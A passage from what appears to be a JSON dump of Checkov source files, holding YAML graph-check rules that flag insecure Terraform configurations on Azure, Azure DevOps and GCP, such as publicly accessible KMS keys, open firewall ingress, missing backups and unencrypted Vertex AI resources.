value:\n            - azurerm_mssql_server_vulnerability_assessment\n          operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/VMHasBackUpMachine.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_12\"\n  name: \"Ensure that virtual machines are backed up using Azure Backup\"\n  category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_virtual_machine\n      connected_resource_types:\n        - azurerm_backup_protected_vm\n      operator:  exists\n      attribute: networking\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_virtual_machine\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/VirtualMachinesUtilizingManagedDisks.yaml",
    "content": "metadata:\n  name: \"Ensure Virtual Machines are utilizing Managed Disks\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV2_AZURE_9\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_virtual_machine\n      operator: within\n    - cond_type: attribute\n      attribute: storage_os_disk.managed_disk_type\n      operator: exists\n      resource_types:\n        - azurerm_virtual_machine\n    - cond_type: attribute\n      operator: not_exists\n      attribute: storage_os_disk.vhd_uri\n      resource_types:\n        - azurerm_virtual_machine"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml",
    "content": "metadata:\n  name: \"Ensure at least two approving reviews for PRs\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV2_ADO_1\"\nscope:\n  provider: \"AZUREDEVOPS\"\ndefinition:\n  and:\n    - resource_types:\n        - azuredevops_git_repository\n      connected_resource_types:\n        - azuredevops_branch_policy_min_reviewers\n      operator: exists\n      cond_type: connection\n    - cond_type: attribute\n      attribute: settings.reviewer_count\n      value: 2\n      operator: greater_than_or_equal\n      resource_types:\n        - azuredevops_branch_policy_min_reviewers\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azuredevops_git_repository\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/CloudFunctionSecureHTTPTrigger.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_10\"\n  name: \"Ensure GCP Cloud Function HTTP trigger is secured\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    # Pass if cloud function is not http triggered\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"google_cloudfunctions_function\"\n      attribute: \"trigger_http\"\n      operator: \"not_equals\"\n      value: true\n    # If trigger_http is true. Evaluate security_level.\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"google_cloudfunctions_function\"\n      attribute: \"https_trigger_security_level\"\n      operator: \"equals\"\n      value: \"SECURE_ALWAYS\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_7\"\n  name: \"Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges\"\n  category: \"IAM\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_sql_database_instance\n      operator: within\n    - or:\n        - cond_type: attribute\n          attribute: database_version\n          operator: not_starting_with\n          value: \"MYSQL\"\n          resource_types:\n            - google_sql_database_instance\n        - resource_types:\n            - google_sql_database_instance\n          connected_resource_types:\n            - google_sql_user\n          operator: not_exists\n          cond_type: connection\n        - and:\n            - resource_types:\n                - google_sql_database_instance\n              connected_resource_types:\n                - google_sql_user\n              operator: exists\n              cond_type: connection\n            - or:\n                - cond_type: attribute\n                  attribute: name\n                  operator: not_starting_with\n                  value: \"root\"\n                  resource_types:\n                    - google_sql_user\n                - and:\n                    - cond_type: attribute\n                      attribute: name\n                      operator: starting_with\n                      value: \"root\"\n                      resource_types:\n                        - google_sql_user\n                    - cond_type: attribute\n                      attribute: password\n                      operator: exists\n                      resource_types:\n                        - google_sql_user\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_5\"\n  name: \"Ensure that Cloud Audit Logging is configured properly across all services and all users from a project\"\n  category: \"Logging\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_project\n      operator: within\n    - resource_types:\n        - google_project\n      connected_resource_types:\n        - google_project_iam_audit_config\n      operator:  exists\n      cond_type: connection\n    - or:\n        - cond_type: attribute\n          resource_types:\n            - google_project_iam_audit_config\n          attribute: \"audit_log_config.*.exempted_members\"\n          operator: not_exists\n        - cond_type: attribute\n          resource_types:\n            - google_project_iam_audit_config\n          attribute: \"audit_log_config.*.exempted_members\"\n          operator: is_empty\n    - cond_type: attribute\n      resource_types:\n        - google_project_iam_audit_config\n      attribute: service\n      operator: equals\n      value: \"allServices\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml",
    "content": "metadata:\n  name: \"Ensure GCP compute firewall ingress does not allow unrestricted access to all ports\"\n  id: \"CKV2_GCP_12\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_compute_firewall\"\n      attribute: \"disabled\"\n      operator: \"equals\"\n      value: \"true\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_compute_firewall\"\n      attribute: \"direction\"\n      operator: \"equals\"\n      value: \"EGRESS\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_compute_firewall\"\n      attribute: \"allow.protocol\"\n      operator: \"not_equals\"\n      value: \"all\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_compute_firewall\"\n      attribute: \"deny.protocol\"\n      operator: \"equals\"\n      value: \"all\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_compute_firewall\"\n      attribute: \"source_ranges\"\n      operator: \"not_intersects\"\n      value:\n        - \"::/0\"\n        - \"::0\"\n        - \"0.0.0.0\"\n        - \"0.0.0.0/0\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPComputeGlobalForwardingRuleCheck.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_38\"\n  name: \"Ensure GCP compute global forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - and:\n      - cond_type: attribute\n        attribute: target\n        operator: not_contains\n        value: \"google_compute_region_target_http_proxy\"\n        resource_types:\n          - google_compute_global_forwarding_rule\n      - cond_type: attribute\n        attribute: target\n        operator: not_contains\n        value: \"targetHttpProxies\"\n        resource_types:\n          - google_compute_global_forwarding_rule\n    - and:\n      - cond_type: attribute\n        attribute: load_balancing_scheme\n        operator: not_equals_ignore_case\n        value: \"EXTERNAL\"\n        resource_types:\n          - google_compute_global_forwarding_rule\n      - cond_type: attribute\n        attribute: load_balancing_scheme\n        operator: exists\n        resource_types:\n          - google_compute_global_forwarding_rule\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPComputeRegionalForwardingRuleCheck.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_37\"\n  name: \"Ensure GCP compute regional forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - and:\n      - cond_type: attribute\n        attribute: target\n        operator: not_contains\n        value: \"google_compute_region_target_http_proxy\"\n        resource_types:\n          - google_compute_forwarding_rule\n      - cond_type: attribute\n        attribute: target\n        operator: not_contains\n        value: \"targetHttpProxies\"\n        resource_types:\n          - google_compute_forwarding_rule\n    - and:\n      - cond_type: attribute\n        attribute: load_balancing_scheme\n        operator: not_equals_ignore_case\n        value: \"EXTERNAL\"\n        resource_types:\n          - google_compute_forwarding_rule\n      - cond_type: attribute\n        attribute: load_balancing_scheme\n        operator: exists\n        resource_types:\n          - google_compute_forwarding_rule\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_9\"\n  name: \"Ensure that Container Registry repositories are not anonymously or publicly accessible\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_container_registry\n      operator: within\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - google_container_registry\n          connected_resource_types:\n            - google_storage_bucket_iam_member\n        - and:\n            - cond_type: connection\n              operator: exists\n              resource_types:\n                - google_container_registry\n              connected_resource_types:\n                - google_storage_bucket_iam_member\n            - cond_type: attribute\n              attribute: member\n              operator: not_equals\n              value: \"allAuthenticatedUsers\"\n              resource_types:\n                - google_storage_bucket_iam_member\n            - cond_type: attribute\n              attribute: member\n              operator: not_equals\n              value: \"allUsers\"\n              resource_types:\n                - google_storage_bucket_iam_member\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - google_container_registry\n          connected_resource_types:\n            - google_storage_bucket_iam_binding\n        - and:\n            - cond_type: connection\n              operator: exists\n              resource_types:\n                - google_container_registry\n              connected_resource_types:\n                - google_storage_bucket_iam_binding\n            - cond_type: attribute\n              attribute: members\n              operator: not_contains\n              value: \"allAuthenticatedUsers\"\n              resource_types:\n                - google_storage_bucket_iam_binding\n            - cond_type: attribute\n              attribute: members\n              operator: not_contains\n              value: \"allUsers\"\n              resource_types:\n                - google_storage_bucket_iam_binding\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowAgentLoggingEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_29\"\n  name: \"Ensure logging is enabled for Dialogflow agents\"\n  category: \"LOGGING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_dialogflow_agent\n  attribute: enable_logging\n  operator: equals\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxAgentLoggingEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_30\"\n  name: \"Ensure logging is enabled for Dialogflow CX agents\"\n  category: \"LOGGING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_dialogflow_cx_agent\n  attribute: enable_stackdriver_logging\n  operator: equals\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxWebhookLoggingEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_31\"\n  name: \"Ensure logging is enabled for Dialogflow CX webhooks\"\n  category: \"LOGGING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_dialogflow_cx_webhook\n  attribute: enable_stackdriver_logging\n  operator: equals\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIProcessorEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_22\"\n  name: \"Ensure Document AI Processors are encrypted with a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  resource_types:\n    - google_document_ai_processor\n  operator: exists\n  attribute: kms_key_name\n  cond_type: attribute\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_23\"\n  name: \"Ensure Document AI Warehouse Location is configured to use a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  resource_types:\n    - google_document_ai_warehouse_location\n  operator: exists\n  attribute: kms_key\n  cond_type: attribute\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_6\"\n  name: \"Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_kms_crypto_key\n      operator: within\n    - and:\n        - or:\n            - cond_type: connection\n              operator: not_exists\n              resource_types:\n                - google_kms_crypto_key\n              connected_resource_types:\n                - google_kms_crypto_key_iam_member\n            - and:\n                - cond_type: connection\n                  operator: exists\n                  resource_types:\n                    - google_kms_crypto_key\n                  connected_resource_types:\n                    - google_kms_crypto_key_iam_member\n                - cond_type: attribute\n                  attribute: member\n                  operator: not_equals\n                  value: \"allAuthenticatedUsers\"\n                  resource_types:\n                    - google_kms_crypto_key_iam_member\n                - cond_type: attribute\n                  attribute: member\n                  operator: not_equals\n                  value: \"allUsers\"\n                  resource_types:\n                    - google_kms_crypto_key_iam_member\n        - or:\n              - cond_type: connection\n                operator: not_exists\n                resource_types:\n                  - google_kms_crypto_key\n                connected_resource_types:\n                  - google_kms_crypto_key_iam_binding\n              - and:\n                  - cond_type: connection\n                    operator: exists\n                    resource_types:\n                      - google_kms_crypto_key\n                    connected_resource_types:\n                      - google_kms_crypto_key_iam_binding\n                  - cond_type: attribute\n                    attribute: members\n                    operator: not_contains\n                    value: \"allAuthenticatedUsers\"\n                    resource_types:\n                      - google_kms_crypto_key_iam_binding\n                  - cond_type: attribute\n                    attribute: members\n                    operator: not_contains\n                    value: \"allUsers\"\n                    resource_types:\n                      - google_kms_crypto_key_iam_binding"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_8\"\n  name: \"Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_kms_key_ring\n      operator: within\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - google_kms_key_ring\n          connected_resource_types:\n            - google_kms_key_ring_iam_member\n        - and:\n            - cond_type: connection\n              operator: exists\n              resource_types:\n                - google_kms_key_ring\n              connected_resource_types:\n                - google_kms_key_ring_iam_member\n            - cond_type: attribute\n              attribute: member\n              operator: not_equals\n              value: \"allAuthenticatedUsers\"\n              resource_types:\n                - google_kms_key_ring_iam_member\n            - cond_type: attribute\n              attribute: member\n              operator: not_equals\n              value: \"allUsers\"\n              resource_types:\n                - google_kms_key_ring_iam_member\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - google_kms_key_ring\n          connected_resource_types:\n            - google_kms_key_ring_iam_binding\n        - and:\n            - cond_type: connection\n              operator: exists\n              resource_types:\n                - google_kms_key_ring\n              connected_resource_types:\n                - google_kms_key_ring_iam_binding\n            - cond_type: attribute\n              attribute: members\n              operator: not_contains\n              value: \"allAuthenticatedUsers\"\n              resource_types:\n                - google_kms_key_ring_iam_binding\n            - cond_type: attribute\n              attribute: members\n              operator: not_contains\n              value: \"allUsers\"\n              resource_types:\n                - google_kms_key_ring_iam_binding\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_4\"\n  name: \"Ensure that retention policies on log buckets are configured using Bucket Lock\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_logging_organization_sink\n        - google_logging_folder_sink\n        - google_logging_project_sink\n      operator: within\n    - or:\n      - cond_type: connection\n        operator: not_exists\n        resource_types:\n          - google_logging_organization_sink\n          - google_logging_project_sink\n          - google_logging_folder_sink\n        connected_resource_types:\n          - google_storage_bucket\n      - and:\n          - cond_type: connection\n            operator: exists\n            resource_types:\n              - google_logging_organization_sink\n              - google_logging_project_sink\n              - google_logging_folder_sink\n            connected_resource_types:\n              - google_storage_bucket\n          - cond_type: attribute\n            attribute: \"retention_policy.is_locked\"\n            value: true\n            operator: equals\n            resource_types:\n              - google_storage_bucket\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml",
    "content": "metadata: \n  id: \"CKV2_GCP_20\"\n  name: \"Ensure MySQL DB instance has point-in-time recovery backup configured\"\n  category: \"BACKUP_AND_RECOVERY\"\n\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"master_instance_name\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types: \n        - \"google_sql_database_instance\"\n      attribute: \"database_version\"\n      operator: \"not_contains\"\n      value: \"MYSQL\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.backup_configuration.binary_log_enabled\"\n      operator: \"equals_ignore_case\"\n      value: \"true\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPNetworkDoesNotUseDefaultFirewall.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_18\"\n  name: \"Ensure GCP network defines a firewall and does not use the default firewall\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - google_compute_network\n      operator: within\n      attribute: resource_type\n    - cond_type: connection\n      operator: exists\n      resource_types:\n      - google_compute_network\n      connected_resource_types:\n      - google_compute_firewall"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml",
    "content": "metadata:\n  name: \"Ensure PostgreSQL database flag 'log_duration' is set to 'on'\"\n  id: \"CKV2_GCP_13\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"database_version\"\n      operator: \"not_contains\"\n      value: \"POSTGRES\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[?(@.name == log_duration & @.value == on)]\"\n      operator: \"jsonpath_exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml",
    "content": "metadata:\n  name: \"Ensure PostgreSQL database flag 'log_executor_stats' is set to 'off'\"\n  id: \"CKV2_GCP_14\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"database_version\"\n      operator: \"not_contains\"\n      value: \"POSTGRES\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[*]\"\n      operator: \"jsonpath_not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[?(@.name == log_executor_stats & @.value == on)]\"\n      operator: \"jsonpath_not_exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml",
    "content": "metadata:\n  name: \"Ensure PostgreSQL database flag 'log_parser_stats' is set to 'off'\"\n  id: \"CKV2_GCP_15\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"database_version\"\n      operator: \"not_contains\"\n      value: \"POSTGRES\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[*]\"\n      operator: \"jsonpath_not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[?(@.name == log_parser_stats & @.value == on)]\"\n      operator: \"jsonpath_not_exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml",
    "content": "metadata:\n  name: \"Ensure PostgreSQL database flag 'log_planner_stats' is set to 'off'\"\n  id: \"CKV2_GCP_16\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"database_version\"\n      operator: \"not_contains\"\n      value: \"POSTGRES\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[*]\"\n      operator: \"jsonpath_not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[?(@.name == log_planner_stats & @.value == on)]\"\n      operator: \"jsonpath_not_exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml",
    "content": "metadata:\n  name: \"Ensure PostgreSQL database flag 'log_statement_stats' is set to 'off'\"\n  id: \"CKV2_GCP_17\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"database_version\"\n      operator: \"not_contains\"\n      value: \"POSTGRES\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[*]\"\n      operator: \"jsonpath_not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"google_sql_database_instance\"\n      attribute: \"settings.database_flags[?(@.name == log_statement_stats & @.value == on)]\"\n      operator: \"jsonpath_not_exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPProjectHasNoLegacyNetworks.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_2\"\n  name: \"Ensure legacy networks do not exist for a project\"\n  category: \"Networking\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_project\n      operator: within\n    - or:\n        - resource_types:\n            - google_compute_network\n          connected_resource_types:\n            - google_project\n          operator: not_exists\n          attribute: project_id\n          cond_type: connection\n        - and:\n            - resource_types:\n                - google_compute_network\n              connected_resource_types:\n                - google_project\n              operator: exists\n              attribute: project_id\n              cond_type: connection\n            - or:\n                - resource_types:\n                    - google_compute_network\n                  operator: not_exists\n                  attribute: auto_create_subnetworks\n                  cond_type: attribute\n                - resource_types:\n                    - google_compute_network\n                  operator: equals\n                  value: false\n                  attribute: auto_create_subnetworks\n                  cond_type: attribute"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPTpuV2VmPrivateEndpoint.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_32\"\n  name: \"Ensure TPU v2 is private\"\n  category: \"NETWORKING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_tpu_v2_vm\n  attribute: network_config.enable_external_ips\n  operator: jsonpath_equals\n  value: \"false\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexAIEndpointEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_24\"\n  name: \"Ensure Vertex AI endpoint uses a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  resource_types:\n    - google_vertex_ai_endpoint\n  operator: exists\n  attribute: encryption_spec\n  cond_type: attribute\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexAIFeaturestoreEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_25\"\n  name: \"Ensure Vertex AI featurestore uses a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  resource_types:\n    - google_vertex_ai_featurestore\n  operator: exists\n  attribute: encryption_spec\n  cond_type: attribute\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateEndpoint.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_33\"\n  name: \"Ensure Vertex AI endpoint is private\"\n  category: \"NETWORKING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_vertex_ai_endpoint\n  attribute: network\n  operator: exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateIndexEndpoint.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_34\"\n  name: \"Ensure Vertex AI index endpoint is private\"\n  category: \"NETWORKING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_vertex_ai_index_endpoint\n  attribute: public_endpoint_enabled\n  operator: not_equals\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexAITensorboardEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_26\"\n  name: \"Ensure Vertex AI tensorboard uses a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  resource_types:\n    - google_vertex_ai_tensorboard\n  operator: exists\n  attribute: encryption_spec\n  cond_type: attribute\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexInstanceEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_21\"\n  name: \"Ensure Vertex AI instance disks are encrypted with a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  and:\n    - resource_types:\n        - google_notebooks_instance\n      operator: exists\n      attribute: kms_key\n      cond_type: attribute\n    - resource_types:\n        - google_notebooks_instance\n      operator: equals\n      value: CMEK\n      attribute: disk_encryption\n      cond_type: attribute\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimeEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_35\"\n  name: \"Ensure Vertex AI runtime is encrypted with a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_notebooks_runtime\n  attribute: virtual_machine.virtual_machine_config.encryption_config.kms_key\n  operator: jsonpath_exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimePrivate.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_36\"\n  name: \"Ensure Vertex AI runtime is private\"\n  category: \"NETWORKING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n  - google_notebooks_runtime\n  attribute: virtual_machine.virtual_machine_config.internal_ip_only\n  operator: jsonpath_equals\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_27\"\n  name: \"Ensure Vertex AI workbench instance disks are encrypted with a Customer Managed Key (CMK)\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  and:\n    - cond_type: attribute\n      resource_types:\n        - google_workbench_instance\n      attribute: \"gce_setup.boot_disk.kms_key\"\n      operator: jsonpath_exists\n    - or:\n      - cond_type: attribute\n        resource_types:\n          - google_workbench_instance\n        attribute: \"gce_setup.data_disks\"\n        operator: jsonpath_not_exists\n      - cond_type: attribute\n        resource_types:\n          - google_workbench_instance\n        attribute: \"gce_setup.data_disks.kms_key\"\n        operator: jsonpath_exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceNoPublicIp.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_28\"\n  name: \"Ensure Vertex AI workbench instances are private\"\n  category: \"GENERAL_SECURITY\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - google_workbench_instance\n  attribute: \"gce_setup.disable_public_ip\"\n  operator: jsonpath_equals\n  value: \"true\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_19\"\n  name: \"Ensure GCP Kubernetes engine clusters have 'alpha cluster' feature disabled\"\n  category: \"KUBERNETES\"\n\ndefinition:\n  cond_type: attribute\n  resource_types: \"google_container_cluster\"\n  attribute: \"enable_kubernetes_alpha\"\n  operator: \"not_equals_ignore_case\"\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GCRContainerVulnerabilityScanningEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_11\"\n  name: \"Ensure GCP GCR Container Vulnerability Scanning is enabled\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"google_project_services\"\n  attribute: \"services\"\n  operator: \"contains\"\n  value: \"containerscanning.googleapis.com\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/GKEClustersAreNotUsingDefaultServiceAccount.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_1\"\n  name: \"Ensure GKE clusters are not running using the Compute Engine default service account \"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - resource_types:\n        - google_project_default_service_accounts\n      connected_resource_types:\n        - google_container_node_pool\n      operator:  not_exists\n      cond_type: connection\n    - resource_types:\n        - google_project_default_service_accounts\n      connected_resource_types:\n        - google_container_cluster\n      operator:  not_exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - google_project_default_service_accounts\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/gcp/ServiceAccountHasGCPmanagedKey.yaml",
    "content": "metadata:\n  id: \"CKV2_GCP_3\"\n  name: \"Ensure that there are only GCP-managed service account keys for each service account\"\n  category: \"ENCRYPTION\"\nscope:\n  provider: \"GCP\"\ndefinition:\n  and:\n    - resource_types:\n        - google_service_account_key\n      operator: not_exists\n      attribute: public_key_data\n      cond_type: attribute\n"
  },
  {
